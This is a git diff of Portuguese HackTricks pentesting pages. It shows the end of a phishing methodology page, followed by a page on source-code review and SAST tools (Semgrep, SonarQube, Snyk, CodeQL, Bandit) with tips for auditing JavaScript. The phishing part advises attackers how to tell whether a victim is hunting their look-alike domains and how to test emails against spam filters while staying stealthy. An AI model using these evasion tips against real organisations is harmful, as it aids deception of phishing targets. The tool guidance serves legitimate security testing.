Obviamente, uma das melhores maneiras de saber se você foi descoberto é **pesquisar seu domínio em listas negras**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\
Uma maneira fácil de verificar se seu domínio aparece em alguma lista negra é usar [https://malwareworld.com/](https://malwareworld.com)
No entanto, existem outras maneiras de saber se a vítima está **procurando ativamente atividade de phishing suspeita na natureza**, conforme explicado em:
No entanto, existem outras maneiras de saber se a vítima está **procurando ativamente atividades de phishing suspeitas** na web, conforme explicado em:
{% content-ref url="detecting-phising.md" %}
[detecting-phising.md](detecting-phising.md)
{% endcontent-ref %}
Você pode **comprar um domínio com um nome muito semelhante** ao domínio da vítima **e/ou gerar um certificado** para um **subdomínio** de um domínio controlado por você **contendo** a **palavra-chave** do domínio da vítima. Se a **vítima** realizar algum tipo de **interação DNS ou HTTP** com eles, você saberá que **ele está procurando ativamente** domínios suspeitos e você precisará ser muito furtivo.
Você pode **comprar um domínio com um nome muito semelhante** ao domínio da vítima e/ou gerar um certificado para um **subdomínio** de um domínio controlado por você **contendo** a **palavra-chave** do domínio da vítima. Se a **vítima** realizar algum tipo de **interação DNS ou HTTP** com eles, você saberá que **ela está procurando ativamente** por domínios suspeitos e você precisará ser muito furtivo.
### Avalie o phishing
Use [**Phishious** ](https://github.com/Rices/Phishious)para avaliar se seu e-mail será enviado para a pasta de spam ou se será bloqueado ou bem-sucedido.
### Avaliar o phishing
Use o [**Phishious**](https://github.com/Rices/Phishious) para avaliar se seu e-mail será enviado para a pasta de spam ou se será bloqueado ou bem-sucedido.
## Referências
* [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
@ -482,8 +455,12 @@ Use [**Phishious** ](https://github.com/Rices/Phishious)para avaliar se seu e-ma
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -</summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,180 +1,234 @@
# Ferramentas de Revisão de Código
# Revisão de Código Fonte / Ferramentas SAST
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Geral
## Orientação e Listas de Ferramentas
* [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools)\
* [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools)
* [**https://github.com/analysis-tools-dev/static-analysis**](https://github.com/analysis-tools-dev/static-analysis)
## Ferramentas Multi-Linguagem
### [Naxus - AI-Gents](https://www.naxusai.com/)
Existe um **pacote gratuito para revisar PRs**.
### [**Semgrep**](https://github.com/returntocorp/semgrep)
É uma **ferramenta de código aberto**.
#### Linguagens Suportadas
| Categoria | Linguagens |
| ------------ | ----------------------------------------------------------------------------------------------------- |
| GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX |
| Beta | Kotlin · Rust |
| Experimental | Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · |
#### Início Rápido
{% code overflow="wrap" %}
```bash
https://www.sonarqube.org/downloads/
https://deepsource.io/signup/
https://github.com/pyupio/safety
https://github.com/returntocorp/semgrep
https://github.com/WhaleShark-Team/cobra
https://github.com/insidersec/insider
# Install https://github.com/returntocorp/semgrep#option-1-getting-started-from-the-cli
brew install semgrep
# Find interesting strings
https://github.com/s0md3v/hardcodes
https://github.com/micha3lb3n/SourceWolf
https://libraries.io/pypi/detect-secrets
# Go to your repo code and scan
cd repo
semgrep scan --config auto
```
## JavaScript
### Descoberta
1. Burp:
- Spider e descobrir conteúdo
- Sitemap > filtro
- Sitemap > clique com o botão direito do mouse no domínio > Ferramentas de engajamento > Encontrar scripts
2. [WaybackURLs](https://github.com/tomnomnom/waybackurls):
- `waybackurls <domínio> |grep -i "\.js" |sort -u`
### Análise estática
#### Desminificar/Embelezar/Formatar
https://prettier.io/playground/
https://beautifier.io/
#### Desofuscar/Descompactar
__Nota__: Pode não ser possível desofuscar completamente.
1. Encontre e use arquivos .map:
- Se os arquivos .map estiverem expostos, eles podem ser usados para desofuscar facilmente.
- Comumente, foo.js.map mapeia para foo.js. Procure manualmente por eles.
- Use [JS Miner](https://github.com/PortSwigger/js-miner) para procurá-los.
- Certifique-se de que a verificação ativa seja realizada.
- Leia '[Dicas/Notas](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)'
- Se encontrados, use [Maximize](https://www.npmjs.com/package/maximize) para desofuscar.
2. Sem arquivos .map, tente JSnice:
- Referências: http://jsnice.org/ & https://www.npmjs.com/package/jsnice
- Dicas:
- Se estiver usando jsnice.org, clique no botão de opções ao lado do botão "Nicify JavaScript" e desmarque "Infer types" para reduzir a desordem no código com comentários.
- Certifique-se de não deixar nenhuma linha vazia antes do script, pois isso pode afetar o processo de desofuscação e fornecer resultados imprecisos.
3. Use console.log(<packerReturnVariable>);
- Encontre o valor de retorno no final e altere-o para `console.log(<packerReturnVariable>);` para que o js desofuscado seja impresso em vez de ser executado.
- Em seguida, cole o js modificado (e ainda ofuscado) em https://jsconsole.com/ para ver o js desofuscado registrado no console.
- Finalmente, cole a saída desofuscada em https://prettier.io/playground/ para embelezá-la para análise.
- __Nota__: Se você ainda estiver vendo js compactado (mas diferente), ele pode estar compactado recursivamente. Repita o processo.
#### Analisar
Referências:
https://medium.com/techiepedia/javascript-code-review-guide-for-bug-bounty-hunters-c95a8aa7037a
{% endcode %}
Procure por:
- Carregamento anti-depurador
- Angular: [enableProdMode](https://blog.nvisium.com/angular-for-pentesters-part-2)
- Segredos
- Use:
- [JS Miner](https://github.com/PortSwigger/js-miner)
- [RegHex](https://github.com/l4yton/RegHex) padrões
- [gf](https://github.com/tomnomnom/gf/tree/master/examples) padrões
- Grep padrões relevantes do dicionário:
- pass, user, admin
- auth, login, sign, challenge, 2fa
- key, apikey, api_key, api-key, jwt, token
- secret, security, secure
- ...
- Revisão manual
- Se a chave da API for encontrada, verifique aqui a sintaxe potencial de uso: https://github.com/streaak/keyhacks.
- Funções vulneráveis
- InnerHTML() - Se você encontrou isso, significa que há uma chance potencial de XSS se não houver uma sanitização adequada. Mesmo que sua carga útil esteja sanitizada, não se preocupe. Trace o código para descobrir onde a sanitização ocorre. Estude-o e tente contornar a sanitização.
- Postmessage() - Se você leu meu post anterior (https://medium.com/techiepedia/what-are-sop-cors-and-ways-to-exploit-it-62a5e02100dc), você notaria que Postmessage() pode levar a um possível problema de CORS. Se o segundo parâmetro da função for definido como *, você é o sortudo. Confira meu post anterior para entender mais sobre o mecanismo por trás.
- String.prototype.search() - Esta função parece normal. Por que seria uma função perigosa? Bem, é porque alguns desenvolvedores usaram isso para encontrar a ocorrência de uma string dentro de outra string. No entanto, "." é tratado como curinga nesta função. Então, se esta função for usada como verificação de sanitização, você pode simplesmente contorná-la inserindo ".". Confira o relatório do hackerone do Filedescryptor: https://hackerone.com/reports/129873
- Endpoints e parâmetros
- Use [LinkFinder](https://github.com/GerbenJavado/LinkFinder) & [JS Miner](https://github.com/PortSwigger/js-miner).
- Bibliotecas e dependências vulneráveis
- Use [Retire.js](https://retirejs.github.io/retire.js/) e [NPM](https://snyk.io/advisor/) (role para baixo até a seção de segurança > link de todas as versões).
- URLs de nuvem
- Use [JS Miner](https://github.com/PortSwigger/js-miner).
- Subdomínios
- Use [JS Miner](https://github.com/PortSwigger/js-miner).
- Falhas de lógica
- Obtenha consciência situacional:
- `use strict;`?
- Grep para controles do lado do cliente:
- disable, enable, hidden, hide, show
- catch, finally, throw, try
- input, validate, verify, valid, correct, check, confirm, require, ..
- Grep para não-primitivos:
- function , =>
- class
### Análise dinâmica
Você também pode usar a [**extensão semgrep para o VSCode**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) para obter os resultados dentro do VSCode.
Referências
- https://www.youtube.com/watch?v=_v8r_t4v6hQ
- https://blog.nvisium.com/angular-for-pentesters-part-1
- https://blog.nvisium.com/angular-for-pentesters-part-2
### [**SonarQube**](https://www.sonarsource.com/products/sonarqube/downloads/)
Ferramentas
- https://portswigger.net/burp/documentation/desktop/tools/dom-invader
Existe uma versão **gratuita** instalável.
#### Referências menos usadas
- https://cyberchef.org/
- https://olajs.com/javascript-prettifier
- https://jshint.com/
- https://github.com/jshint/jshint/
#### Início Rápido
{% code overflow="wrap" %}
```bash
# Run the paltform in docker
docker run -d --name sonarqube -e SONAR_ES_BOOTSTRAP_CHECKS_DISABLE=true -p 9000:9000 sonarqube:latest
# Install cli tool
brew install sonar-scanner
# Go to localhost:9000 and login with admin:admin or admin:sonar
# Generate a local project and then a TOKEN for it
# Using the token and from the folder with the repo, scan it
cd path/to/repo
sonar-scanner \
-Dsonar.projectKey=<project-name> \
-Dsonar.sources=. \
-Dsonar.host.url=http://localhost:9000 \
-Dsonar.token=<sonar_project_token>
```
{% endcode %}
### [**Snyk**](https://snyk.io/product/snyk-code/)
Existe uma **versão gratuita instalável**.
#### Início rápido
```bash
# Install
sudo npm install -g snyk
# Authenticate (you can use a free account)
snyk auth
# Test for open source vulns & license issues
snyk test [--all-projects]
# Test for code vulnerabilities
## This will upload your code and you need to enable this option in: Settings > Snyk Code
snyk test code
# Test for vulns in images
snyk container test [image]
# Test for IaC vulns
snyk iac test
```
Você também pode usar a [**Extensão do Snyk para o VSCode**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner) para obter resultados dentro do VSCode.
### CodeQL
Existe uma **versão gratuita instalável**.
#### Instalação
```bash
brew install codeql
# Check it's correctly installed
codeql resolve qlpacks
```
Ou
{% code overflow="wrap" %}
```bash
# Download your release from https://github.com/github/codeql-action/releases
## Example
wget https://github.com/github/codeql-action/releases/download/codeql-bundle-v2.14.3/codeql-bundle-osx64.tar.gz
# Move it to the destination folder
mkdir ~/codeql
mv codeql-bundle* ~/codeql
# Decompress it
cd ~/codeql
tar -xzvf codeql-bundle-*.tar.gz
rm codeql-bundle-*.tar.gz
# Add to path
echo 'export PATH="$PATH:/Users/username/codeql/codeql"' >> ~/.zshrc
# Check it's correctly installed
## Open a new terminal
codeql resolve qlpacks
```
#### Início Rápido
{% code overflow="wrap" %}
```bash
# Prepare the database
## You need to export a GITHUB_TOKEN (codeql will detect languages automatically)
export GITHUB_TOKEN=ghp_32849y23hij4...
codeql database create <database> --db-cluster --source-root </path/to/repo>
## Or to indicate the languages yourself (https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create)
codeql database create <database> --language=<language-identifier> --source-root </path/to/repo>
## For example
export GITHUB_TOKEN=ghp_32849y23hij4...
codeql database create /tmp/codeql_db --db-cluster --source-root /path/to/repo # Generate the folder /tmp/codeql_db
# Analyze the code
codeql database analyze <database> --format=<format> --output=</out/file/path> --download
## Example
codeql database analyze /tmp/codeql_db --download --format=csv --output=/tmp/graphql_results.csv
```
{% endcode %}
Você também pode usar a [**extensão do VSCode**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) para obter os resultados dentro do VSCode.
### [Insider](https://github.com/insidersec/insider)
É **Open Source**, mas parece **desatualizado**.
#### Linguagens Suportadas
Java (Maven e Android), Kotlin (Android), Swift (iOS), .NET Full Framework, C# e Javascript (Node.js).
#### Início Rápido
```bash
# Check the correct release for your environment
$ wget https://github.com/insidersec/insider/releases/download/2.1.0/insider_2.1.0_linux_x86_64.tar.gz
$ tar -xf insider_2.1.0_linux_x86_64.tar.gz
$ chmod +x insider
$ ./insider --tech javascript --target <projectfolder>
```
### [**DeepSource**](https://deepsource.com/pricing)&#x20;
Grátis para **repositórios públicos**.
## NodeJS
* **`yarn`**
```bash
# Install
brew isntall yarn
# Run
cd /path/to/repo
yarn audit
```
https://github.com/ajinabraham/nodejsscan
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** Scanner estático de código de segurança (SAST) para aplicações Node.js alimentado por [libsast](https://github.com/ajinabraham/libsast) e [semgrep](https://github.com/returntocorp/semgrep).
```bash
# Install & run
docker run -it -p 9090:9090 opensecurity/nodejsscan:latest
# Got to localhost:9090
# Upload a zip file with the code
```
* [**RetireJS**](https://github.com/RetireJS/retire.js)**:** O objetivo do Retire.js é ajudar a detectar o uso de versões de bibliotecas JS com vulnerabilidades conhecidas.
```bash
# Install
npm install -g retire
# Run
cd /path/to/repo
retire --colors
```
## Electron
Electron é um framework de código aberto criado pela equipe do GitHub. Ele permite que os desenvolvedores criem aplicativos de desktop multiplataforma usando tecnologias web como HTML, CSS e JavaScript. O Electron é usado por muitos aplicativos populares, incluindo o Slack, o Visual Studio Code e o Discord.
* [**electronegativity**](https://github.com/doyensec/electronegativity)**:** É uma ferramenta para identificar configurações incorretas e padrões de segurança em aplicativos baseados em Electron.
Embora o Electron seja uma ferramenta poderosa para criar aplicativos de desktop, ele também pode ser uma fonte de vulnerabilidades de segurança. Os aplicativos do Electron são executados em um ambiente de navegador incorporado, o que significa que eles têm acesso a muitos recursos do sistema operacional, como o sistema de arquivos e a rede. Isso pode ser útil para os desenvolvedores, mas também pode ser explorado por atacantes.
Os testadores de segurança devem estar cientes das vulnerabilidades comuns do Electron, como a execução remota de código (RCE) e a injeção de código malicioso. Eles também devem estar familiarizados com as ferramentas de análise de segurança do Electron, como o Electron Security Checklist e o Electron Scanner, para ajudar a identificar possíveis vulnerabilidades em aplicativos do Electron.
```
https://github.com/doyensec/electronegativity
```
## Python
Python é uma linguagem de programação popular usada em muitas aplicações, incluindo desenvolvimento web. É uma linguagem interpretada, o que significa que o código é executado linha por linha em tempo de execução. Python é conhecido por sua sintaxe clara e concisa, tornando-o uma escolha popular para iniciantes em programação.
Algumas ferramentas úteis para revisão de código Python incluem:
- **Pylint**: uma ferramenta de análise de código que verifica se o código Python está em conformidade com as convenções de codificação definidas pela PEP 8. Ele também pode detectar erros comuns de programação, como variáveis não utilizadas e referências indefinidas.
- **Pyflakes**: uma ferramenta de análise de código que verifica se o código Python tem erros de sintaxe ou referências indefinidas.
- **Bandit**: uma ferramenta de segurança de código que verifica se o código Python tem vulnerabilidades de segurança conhecidas.
- **Mypy**: uma ferramenta de análise de tipo estático que verifica se o código Python tem erros de tipo.
- **Black**: uma ferramenta de formatação de código que ajuda a manter a consistência do estilo de código Python em um projeto.
* [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit é uma ferramenta projetada para encontrar problemas de segurança comuns em código Python. Para fazer isso, o Bandit processa cada arquivo, constrói uma AST a partir dele e executa plugins apropriados nos nós da AST. Uma vez que o Bandit tenha terminado de escanear todos os arquivos, ele gera um relatório.
```bash
# bandit
https://github.com/PyCQA/bandit
# pyt
https://github.com/python-security/pyt
# Install
pip3 install bandit
# Run
bandit -r <path to folder>
```
* [**safety**](https://github.com/pyupio/safety): O Safety verifica as dependências do Python em busca de vulnerabilidades de segurança conhecidas e sugere as devidas correções para as vulnerabilidades detectadas. O Safety pode ser executado em máquinas de desenvolvimento, em pipelines de CI/CD e em sistemas de produção.
```bash
# Install
pip install safety
# Run
safety check
```
* [~~**Pyt**~~](https://github.com/python-security/pyt): Não mantido
## .NET
O .NET é uma plataforma de desenvolvimento de software da Microsoft que é amplamente utilizada para criar aplicativos Windows e Web. Ele fornece uma estrutura de desenvolvimento de software que inclui uma linguagem de programação (C # ou VB.NET), um ambiente de tempo de execução e uma biblioteca de classes. O .NET é uma plataforma poderosa e flexível que permite aos desenvolvedores criar aplicativos de alta qualidade com facilidade.
### Ferramentas de Revisão de Código .NET
Existem várias ferramentas de revisão de código disponíveis para o .NET que podem ajudar a identificar vulnerabilidades de segurança em seu código. Algumas das ferramentas mais populares incluem:
- **Visual Studio**: O Visual Studio inclui uma série de ferramentas de análise de código que podem ajudar a identificar problemas de segurança em seu código .NET. Essas ferramentas incluem o Code Analysis, que verifica seu código em busca de problemas de segurança e o FxCop, que verifica seu código em busca de conformidade com as diretrizes de codificação.
- **ReSharper**: O ReSharper é uma ferramenta de revisão de código para o Visual Studio que pode ajudar a identificar problemas de segurança em seu código .NET. Ele fornece sugestões de correção de código em tempo real e pode ajudar a melhorar a qualidade do seu código.
- **NDepend**: O NDepend é uma ferramenta de análise de código que pode ajudar a identificar problemas de segurança em seu código .NET. Ele fornece uma análise detalhada do seu código e pode ajudar a identificar áreas que precisam de melhorias de segurança.
- **SonarQube**: O SonarQube é uma plataforma de análise de código que pode ajudar a identificar problemas de segurança em seu código .NET. Ele fornece uma análise detalhada do seu código e pode ajudar a identificar áreas que precisam de melhorias de segurança.
- **Fortify**: O Fortify é uma ferramenta de análise de segurança que pode ajudar a identificar vulnerabilidades de segurança em seu código .NET. Ele fornece uma análise detalhada do seu código e pode ajudar a identificar áreas que precisam de melhorias de segurança.
```bash
# dnSpy
https://github.com/0xd4d/dnSpy
@ -184,7 +238,31 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe test.cs
```
## Java
Java é uma linguagem de programação popular usada para desenvolver aplicativos em várias plataformas. É uma linguagem orientada a objetos e é executada em uma máquina virtual Java (JVM). A JVM permite que o código Java seja executado em qualquer plataforma que tenha uma JVM instalada. O Java é usado em muitos aplicativos da web e é uma das linguagens mais populares para desenvolvimento de aplicativos Android.
Java é uma linguagem de programação popular que é amplamente utilizada para desenvolvimento de aplicativos web. Ao realizar uma revisão de código em um aplicativo Java, existem várias ferramentas úteis que podem ajudar a identificar possíveis vulnerabilidades de segurança. Nesta seção, discutiremos algumas dessas ferramentas.
### FindBugs
O FindBugs é uma ferramenta de análise estática de código que pode ser usada para identificar possíveis bugs e vulnerabilidades em um código Java. Ele examina o código em busca de padrões conhecidos de erros e emite avisos sobre possíveis problemas. O FindBugs pode ajudar a identificar vulnerabilidades comuns, como uso incorreto de APIs, problemas de segurança de dados e erros de programação.
### PMD
O PMD é outra ferramenta de análise estática de código que pode ser usada para identificar problemas de código em um aplicativo Java. Ele verifica o código em busca de más práticas de programação, código duplicado, variáveis não utilizadas e outros problemas de qualidade de código. O PMD pode ajudar a melhorar a legibilidade e a manutenibilidade do código, além de identificar possíveis vulnerabilidades.
### Checkstyle
O Checkstyle é uma ferramenta de análise estática de código que pode ser usada para aplicar um conjunto de regras de codificação em um aplicativo Java. Ele verifica o código em busca de conformidade com essas regras e emite avisos sobre possíveis violações. O Checkstyle pode ajudar a manter um código consistente e de alta qualidade, além de identificar possíveis vulnerabilidades de segurança.
### SonarQube
O SonarQube é uma plataforma de análise de código que pode ser usada para avaliar a qualidade do código em um aplicativo Java. Ele fornece uma visão geral abrangente das métricas de qualidade do código, incluindo vulnerabilidades de segurança, bugs, dívidas técnicas e muito mais. O SonarQube pode ajudar a identificar e corrigir problemas de segurança em um aplicativo Java, melhorando assim sua robustez e confiabilidade.
### Dependency-Check
O Dependency-Check é uma ferramenta que pode ser usada para identificar dependências de terceiros em um aplicativo Java que possuem vulnerabilidades conhecidas. Ele verifica as dependências do aplicativo em busca de vulnerabilidades conhecidas e emite avisos sobre possíveis problemas. O Dependency-Check pode ajudar a garantir que as dependências utilizadas em um aplicativo Java estejam atualizadas e livres de vulnerabilidades conhecidas.
### Conclusão
Ao realizar uma revisão de código em um aplicativo Java, é importante utilizar ferramentas de análise estática de código para identificar possíveis vulnerabilidades de segurança. O uso de ferramentas como o FindBugs, PMD, Checkstyle, SonarQube e Dependency-Check pode ajudar a melhorar a qualidade e a segurança do código Java, garantindo assim a robustez e confiabilidade do aplicativo.
```bash
# JD-Gui
https://github.com/java-decompiler/jd-gui
@ -196,16 +274,18 @@ echo "Main-Class: test" > META-INF/MANIFEST.MF
jar cmvf META-INF/MANIFEST.MF test.jar test.class
```
| Tarefa | Comando |
| ---------------- | --------------------------------------------------------- |
| --------------- | --------------------------------------------------------- |
| Executar Jar | java -jar \[jar] |
| Descompactar Jar | unzip -d \[diretório de saída] \[jar] |
| Criar Jar | jar -cmf META-INF/MANIFEST.MF \[jar de saída] \* |
| Base64 SHA256 | sha256sum \[arquivo] \| cut -d' ' -f1 \| xxd -r -p \| base64 |
| Remover Assinatura| rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| Excluir do Jar | zip -d \[jar] \[arquivo a ser removido] |
| Descompilar classe | procyon -o . \[caminho para a classe] |
| Descompilar Jar | procyon -jar \[jar] -o \[diretório de saída] |
| Compilar classe | javac \[caminho para o arquivo .java] |
| Descompactar Jar | unzip -d \[diretório de saída] \[jar] |
| Criar Jar | jar -cmf META-INF/MANIFEST.MF \[jar de saída] \* |
| Base64 SHA256 | sha256sum \[arquivo] \| cut -d' ' -f1 \| xxd -r -p \| base64 |
| Remover Assinatura | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| Excluir do Jar | zip -d \[jar] \[arquivo a ser removido] |
| Descompilar classe | procyon -o . \[caminho para a classe] |
| Descompilar Jar | procyon -jar \[jar] -o \[diretório de saída] |
| Compilar classe | javac \[caminho para o arquivo .java] |
## Go
```bash
https://github.com/securego/gosec
```
@ -221,18 +301,117 @@ https://github.com/securego/gosec
* [https://www.npmjs.com/package/solium](https://www.npmjs.com/package/solium)
## JavaScript
### Descoberta
1. Burp:
* Spider e descobrir conteúdo
* Sitemap > filtro
* Sitemap > clique com o botão direito no domínio > Ferramentas de engajamento > Encontrar scripts
2. [WaybackURLs](https://github.com/tomnomnom/waybackurls):
* `waybackurls <domínio> |grep -i "\.js" |sort -u`
### Análise Estática
#### Desminificar/Embelezar/Formatar
* [https://prettier.io/playground/](https://prettier.io/playground/)
* [https://beautifier.io/](https://beautifier.io/)
#### Desofuscar/Descompactar
**Observação**: Pode não ser possível desofuscar completamente.
1. Encontre e use arquivos .map:
* Se os arquivos .map estiverem expostos, eles podem ser usados para desofuscar facilmente.
* Comumente, foo.js.map mapeia para foo.js. Procure manualmente por eles.
* Use [JS Miner](https://github.com/PortSwigger/js-miner) para procurá-los.
* Certifique-se de realizar uma varredura ativa.
* Leia '[Dicas/Notas](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)'
* Se encontrados, use [Maximize](https://www.npmjs.com/package/maximize) para desofuscar.
2. Sem arquivos .map, tente o JSnice:
* Referências: http://jsnice.org/ e https://www.npmjs.com/package/jsnice
* Dicas:
* Se estiver usando jsnice.org, clique no botão de opções ao lado do botão "Nicify JavaScript" e desmarque "Infer types" para reduzir a desordem no código com comentários.
* Certifique-se de não deixar nenhuma linha vazia antes do script, pois isso pode afetar o processo de desofuscação e fornecer resultados imprecisos.
3. Use console.log();
* Encontre o valor de retorno no final e altere-o para `console.log(<packerReturnVariable>);` para que o js desofuscado seja impresso em vez de ser executado.
* Em seguida, cole o js modificado (ainda ofuscado) em https://jsconsole.com/ para ver o js desofuscado registrado no console.
* Por fim, cole a saída desofuscada em https://prettier.io/playground/ para formatá-la para análise.
* **Observação**: Se você ainda estiver vendo js empacotado (mas diferente), pode ser empacotado recursivamente. Repita o processo.
#### Analisar
Referências: https://medium.com/techiepedia/javascript-code-review-guide-for-bug-bounty-hunters-c95a8aa7037a
Procure por:
* Carregamento anti-de depuração
* Angular: [enableProdMode](https://blog.nvisium.com/angular-for-pentesters-part-2)
* Segredos
* Use:
* [JS Miner](https://github.com/PortSwigger/js-miner)
* Padrões [RegHex](https://github.com/l4yton/RegHex)
* Padrões [gf](https://github.com/tomnomnom/gf/tree/master/examples)
* Procure por padrões relevantes no dicionário:
* pass, user, admin
* auth, login, sign, challenge, 2fa
* key, apikey, api\_key, api-key, jwt, token
* secret, security, secure
* ...
* Revisão manual
* Se a chave da API for encontrada, verifique aqui a sintaxe de uso potencial: https://github.com/streaak/keyhacks.
* Funções vulneráveis
* InnerHTML() - Se você encontrar isso, significa que há uma chance potencial de XSS se não houver uma sanitização adequada. Mesmo que sua carga útil esteja sanitizada, não se preocupe. Rastreie o código para descobrir onde ocorre a sanitização. Estude-o e tente contornar a sanitização.
* Postmessage() - Se você leu meu post anterior (https://medium.com/techiepedia/what-are-sop-cors-and-ways-to-exploit-it-62a5e02100dc), você perceberá que o Postmessage() pode levar a um possível problema de CORS. Se o segundo parâmetro da função for definido como \*, você é o sortudo. Confira meu post anterior para entender mais sobre o mecanismo por trás disso.
* String.prototype.search() - Essa função parece normal. Por que seria uma função perigosa? Bem, é porque alguns desenvolvedores a usaram para encontrar a ocorrência de uma string dentro de outra string. No entanto, "." é tratado como caractere curinga nessa função. Portanto, se essa função for usada como verificação de sanitização, você pode simplesmente contorná-la inserindo ".". Confira o relatório do Filedescryptor no hackerone: https://hackerone.com/reports/129873
* Endpoints e parâmetros
* Use [LinkFinder](https://github.com/GerbenJavado/LinkFinder) e [JS Miner](https://github.com/PortSwigger/js-miner).
* Bibliotecas e dependências vulneráveis
* Use [Retire.js](https://retirejs.github.io/retire.js/) e [NPM](https://snyk.io/advisor/) (role para baixo até a seção de segurança > link de todas as versões).
* URLs de nuvem
* Use [JS Miner](https://github.com/PortSwigger/js-miner).
* Subdomínios
* Use [JS Miner](https://github.com/PortSwigger/js-miner).
* Falhas de lógica
* Obtenha conhecimento situacional:
* `use strict;`?
* Procure por controles do lado do cliente:
* disable, enable, hidden, hide, show
* catch, finally, throw, try
* input, validate, verify, valid, correct, check, confirm, require, ..
* Procure por não primitivos:
* function , =>
* class
### Análise Dinâmica
Referências
* https://www.youtube.com/watch?v=\_v8r\_t4v6hQ
* https://blog.nvisium.com/angular-for-pentesters-part-1
* https://blog.nvisium.com/angular-for-pentesters-part-2
Ferramentas
* https://portswigger.net/burp/documentation/desktop/tools/dom-invader
#### Referências Menos Usadas
* https://cyberchef.org/
* https://olajs.com/javascript-prettifier
* https://jshint.com/
* https://github.com/jshint/jshint/
<details>
